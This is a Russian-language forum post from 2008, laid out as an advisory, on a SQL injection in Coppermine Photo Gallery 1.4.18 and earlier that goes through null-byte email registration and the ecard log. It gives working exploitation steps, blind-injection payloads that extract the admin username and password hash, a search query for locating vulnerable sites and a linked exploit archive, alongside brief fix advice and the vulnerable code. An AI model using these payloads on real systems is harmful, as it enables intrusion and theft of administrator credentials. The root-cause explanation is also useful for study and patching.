Показать сообщение отдельно

Coppermine <=1.4.18 Ecard SQL-injection Vulnerable
  #15  
Старый 28.04.2008, 18:56
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
С нами: 10752806

Репутация: 1202


По умолчанию Coppermine <=1.4.18 Ecard SQL-injection Vulnerable


Coppermine <=1.4.18 Ecard SQL-injection Vulnerable

1) Дата:
Найдена: April 28, 2008

2) Продукт: Coppermine Photo Gallery <=1.4.18

3) Уязвимость: SQL-injection в [user_email] при регистрации и отсылке открыток.

4) Автор: Elekt (bug found April 28, 2008)

5) Тип: удалённая

6) Опасность: 3/10

7) Описание:

Уязвимость позволяет выполнить произвольные SQL-команды, например получить хеш админа используя технологию брута "more1row".

Необоходимые условия:
~ включена регистрация новых пользователей(по дефолту отключено)
~ не требуется подтверждение через email
~ включен лог открыток(по дефолту отключено)


Как и почему это работает.

1) Опасные символы заменяются в "/include/init.inc.php" html аналогами в GET,POST,REQUEST , но '\' не затрагивается.
А заодно stripslashes()'тся, что дает возможность использовать NULL-byte.

2) При регистрации нового пользователя используется регулярка основанная на ereg(), который уязвим к NULL-byte, прекращая обработку строки при встрече с ним.
Таким образом email вида "test@blah.com\x00\" успешно проходит проверку.

3) В БД email попадает со слешем на конце. Что это дает? Если где-либо в скрипте первый query получит email и передаст его во второй query без фильтрации, то слэш заэкранирует закрывающую ковычку, синтаксис запроса нарушится и возникет SQL-Error.

SQL-error:
Код HTML:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', 'SomeUserName', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')
4) С ошибки нам ничего не поиметь, но вот если сразу после параметра email будет идти еще один параметр, который мы можем произвольно менять, то становится возможным проведение фрагменитированной SQL-injection

SQL-inj-more1row:
Код HTML:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', '[SQL-inject-more1row]', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')
5) Как видно, открывающаяся ковычка поля recipient_name превращается в закрывающуюся ковычку sender_email. Мы получаем возможность провести SQL-inj в поле recipient_name.

8) Эксплоит: способ эксплуатации уязвимости

1) Снифаем пакет регистрации, вставляя в область email : "mymail@mail.ru%00\" . Отправляем. Ответ сервера сообщит нам об ошибке email.
2) Берем отснифанный пакет и меняем в нем %2500 на %00. Отсылаем. Сервер сообщает об успешной регистрации. Авторизуемся.
3) Теперь выбираем любую картинку в галерее. Жмем на значок письма (Отправить этот файл как открытку)
5) Корректно заполняем и отсылаем. Если сервер сообщает об ошибке БД - вам повезло - лог открыток включен и возможна SQL-inj. Если нет, то нет.
6) В поле "Имя получателя" проводим SQL-more1row.

FALSE
Имя получателя:
Код HTML:
 or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=254,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*
TRUE
Имя получателя:
Код HTML:
 or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=49,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*
Скрипт перебора напишите сами.

7) Фильтруется '<' '>' . Можно использовать только '='


9) Поиск: пример поиска приложения через поисковые системы

Powered by Coppermine Photo Gallery

10) Решение: решение для устранения уязвимости

1) установить addslashes() перед регуляркой проверки email в register.php
2) экранировать "\"


Сам уязвимый код:

/ecard.php

PHP код:
        if ($CONFIG['log_ecards'] == 1) {

          
$result_log cpg_db_query("INSERT INTO {$CONFIG['TABLE_ECARDS']} (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('$sender_name', '$sender_email', '$recipient_name', '$recipient_email',   '$encoded_data', '$tempTime', '{$_SERVER["REMOTE_ADDR"]}')");
          } 
/register.php

PHP код:
$email trim(get_post_var('email'));
    if (!
eregi("^[_\.0-9a-z\-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,6}$"$email)) $error .= '<li>' $lang_register_php['err_invalid_email'];

    
$sql "INSERT INTO {$CONFIG['TABLE_USERS']} ".
           
"(user_regdate, user_active, user_actkey, user_name, user_password, user_email, user_profile1, user_profile2, user_profile3, user_profile4, user_profile5, user_profile6) ".
           
"VALUES (NOW(), '$active', '$act_key', '" addslashes($user_name) . "', '" addslashes($encpassword) . "', '" addslashes($email) . "', '$profile1', '$profile2', '$profile3', '$profile4', '$profile5', '$profile6')"
Вложения
Тип файла: zip Coppermine =1.4.19 Ecard SQL-inj Exploit.zip (5.4 Кб, 46 просмотров)

Последний раз редактировалось Elekt; 08.09.2008 в 12:43..
 
Ответить с цитированием